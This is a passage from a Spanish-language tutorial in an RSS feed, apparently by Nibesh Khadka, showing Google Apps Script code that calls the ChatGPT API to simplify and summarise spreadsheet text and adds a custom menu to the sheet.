    const ss = SpreadsheetApp.getActiveSheet();
    const data = ss.getDataRange().getValues();
    const lastRow = data.length;
    const lastCol = data[0].length;

    // define el role play de gpt
    const systemContent = "Simplificar el texto dado en términos de layman. Recuerda que el lector no es un experto en inglés.";


    for (let i = 1; i &lt; data.length; i++) {
      // solamente simplifica si todavía no está simplificado o si un error ocurrió previamente
      if (data[i][1] === "" || data[i][1] === "Ocurrió Algún Error. Por favor verifica tu fórmula o intenta nuevamente más tarde.") {
        data[i][1] = fetchData(systemContent, data[i][0]);
        console.log(data[i][1]);

      }
    }

    ss.getRange(1, 1, lastRow, lastCol).setValues(data);
  } catch (e) {
    console.log(e)
    SpreadsheetApp.getActiveSpreadsheet().toast("Ocurrió algún error. Por favor verifica tu fórmula o intenta nuevamente más tarde.");

  }
}</code></pre><p>Puntos claves que son distintos de entender en este código son:</p><ol><li>Estamos codificando a mano las fuentes de los datos, tales como <code>data[i][1]</code>, el cual se refiere a la segunda columna (es decir "Simplified Passage") como se muestra en la hoja de cálculo en la imagen de arriba. Esto significa que si estás usando algunas otras columnas para guardar los datos de ChatGPT, entones tendrás que hacer cambios según la columna.</li><li>Solamente solicitamos los datos cuando la celda target esté vacía o contiene un mensaje de error. Esto ayuda en evitar llamadas a la API innecesariamente.</li></ol><h3 id="agregar-una-funci-n-personalizada-como-un-men-de-la-hoja-de-c-lculo"><strong>Agregar una función personalizada como un menú de la hoja de cálculo</strong></h3><p>La función está lista para ser probada, pero todavía no aparecerá en la hoja de cálculo. Para hacerlo, necesitaremos proveer las siguientes instrucciones.</p><pre><code class="language-javascript">
/**
 * Menu crea la UI del menu en la hoja de cálculo.
 */
function createCustomMenu() {
   // define el ui del menú 
  let menu = SpreadsheetApp.getUi().createMenu("GPT Functions");
   // agrega la función al menú
   menu.addItem("GPT SIMPLIFY", "gptSimplifyMenu");
   // agrega el menú a la ui de la hoja de cálculo
  menu.addToUi();
}

/**
 * Disparador OnOpen que crea el menú
 * @param {Dictionary} e
 */
function onOpen(e) {
  createCustomMenu();
}</code></pre><p>En <code>createCustomMenu()</code>:</p><ol><li>Definimos menu con <code><a href="https://developers.google.com/apps-script/reference/base/ui#createmenucaption" rel="noopener noreferrer nofollow">SpreadsheetApp.getUi().createMenu("GPT Functions")</a></code> como Funciones de GPT, el título que aparece en la pestaña de la hoja de cálculo.</li><li>Agregamos una función al menú con <code>menu.addItem("GPT SIMPLIFY", "gptSimplifyMenu")</code>, donde el primer parámetro es el título para mostrar y el segundo es la función a llamarse cuando se presione.</li><li>Agrega el menú a la UI con <code>menu.addToUi()</code>.</li></ol><p>El disparador <a href="https://developers.google.com/apps-script/guides/triggers#onopene" rel="noopener noreferrer nofollow">onOpen</a> se ejecuta automáticamente cuando sea que el documento adjunto al script se recargue y como tal agregará un menú a la hoja de cálculo como se muestra en la imagen de abajo.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1689573996102/660acf86-567e-4261-96db-2a8ed1c2182c.png" class="kg-image" alt="GPT Function Menu" width="1009" height="236" loading="lazy"></figure><p>Adelante e intenta la fórmula – se aplicará solamente si la celda está vacía o pre-cargada con un mensaje de error.</p><h3 id="men-de-resumen-de-gpt"><strong>Menú de resumen de GPT</strong></h3><p>Haremos algunos cambios menores después de copiar la función <code>simplify</code> como se muestra abajo:</p><pre><code class="language-javascript">/**
 * Resume el párrafo dado. Provee de 3 a 5 viñetas
 * @customfunction
 */
function gptSummaryMenu() {
  try {
    // obtiene las hojas y los datos
    const ss = SpreadsheetApp.getActiveSheet();
    const data = ss.getDataRange().getValues();
    const lastRow = data.length;
    const lastCol = data[0].length;

    // define el rol de juego de gpt
    const systemContent = "Resume el texto dado. Provee al menos 3 y máximo 5 viñetas.";


    for (let i = 0; i &lt; data.length; i++) {
      console.log(`Inside gptSummaryMenu() for loop`)

      if (i == 0) continue;
      // solamente resume si no está resumida todavía o un error ocurrió previamente
      if (data[i][2] === "" || data[i][2] === "Ocurrió Algún Error. Por favor verifica tu fórmula o intenta nuevamente más tade.") {
        data[i][2] = fetchData(systemContent, data[i][0]);
        console.log(data[i][2]);
      }
    }

    ss.getRange(1, 1, lastRow, lastCol).setValues(data);
  } catch (e) {
    console.log(e)
    SpreadsheetApp.getActiveSpreadsheet().toast("Ocurrió algún error. Por favor verifica tu fórmula o intenta nuevamente más tarde.");
  }
}</code></pre><ol><li>El rol de sistema ha sido modificado para que abarque instrucciones de resumen.</li><li>La columna <code>target</code> para guardar datos es ahora la columna tercera.</li><li>La cadena <code>doc</code> ha sido modificada también.</li></ol><p>En cuanto para agregar esta función al menú, te lo dejaré a ti.</p><h2 id="consejos-para-modificar-el-c-digo"><strong>Consejos para modificar el código</strong></h2><p>Todo lo que necesitas hacer para tu propia fórmula como <code>=GPT_COVER_LETTER_CREATOR()</code> son las siguientes modificaciones:</p><h3 id="para-solicitar-datos"><strong>Para solicitar datos</strong></h3><p>Puedes cambiar la <code>Descripción del Contenido del Sistema debería</code> para cumplir tus requisitos, como "You write an expert cover letter for software developers".</p><p>Agrega una función más en el arreglo de mensajes:</p><pre><code class="language-json">// de esto 
[{
          "role": "system",
          "content": systemContent,
        },
        {
          "role": "user",
          "content": userContent
        },
        ], 

// a
[{
          "role": "system",
          "content": "Escribes una carta de presentación  experta para desarrolladores de software",
        },
        {
          "role": "user",
          "content": "Escríbeme una carta de presentación para este anuncio de trabajo"
        },
        {
          "role": "user",
          "content": userContent // este es el anuncio de trabajo desde la hoja de cálculo
        },
        ],</code></pre><p>También puedes agregar otro ítem de lista para incluir tus habilidades y experiencias.</p><h3 id="otras-funciones"><strong>Otras funciones</strong></h3><p>Asegúrate que tu celdas/columnas fuentes y celdas/columnas target estén indexados correctamente (por ejemplo, si no estás usando la primera columna como la celda fuente y el segundo para guardar los datos).</p><h2 id="resumen"><strong>Resumen</strong></h2><p>En este tutorial, aprendiste cómo usar el Apps Script de Google para solicitar respuestas de ChatGPT desde la API y guardarlos en hojas de cálculo usando fórmulas personalizadas y menús personalizados.</p><p>Comenzamos creando un nuevo proyecto de Apps Script de Google y agregando la API de ChatGPT. Luego, escribimos un script que solicitaría una respuesta de ChatGPT para una ventana dada. Guardamos la respuesta usando una fórmula personalizada en una celda de hoja de cálculo.</p><p>También creamos un ítem de menú personalizado que nos permitiría solicitar una respuesta de ChatGPT desde cualquier celda en la hoja de cálculo. Este ítem de menú abriría un botón para solicitar la respuesta.</p><p>El paso final era compartir la hoja de cálculo con los demás, de esa forma podrían usar las fórmulas personalizadas y menús para solicitar respuestas de ChatGPT.</p><p>Espero que hayas disfrutado de este artículo y lo hayas encontrado útil. Si tienes alguna pregunta, házmelo saber.</p><p>Soy <strong><strong>Nibesh Khadka, </strong></strong>Freelancer con especialización en automatizar productos de Google con Apps Script. Contáctame si necesitas mis servicios en me@nibeshkhadka.com.</p> ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
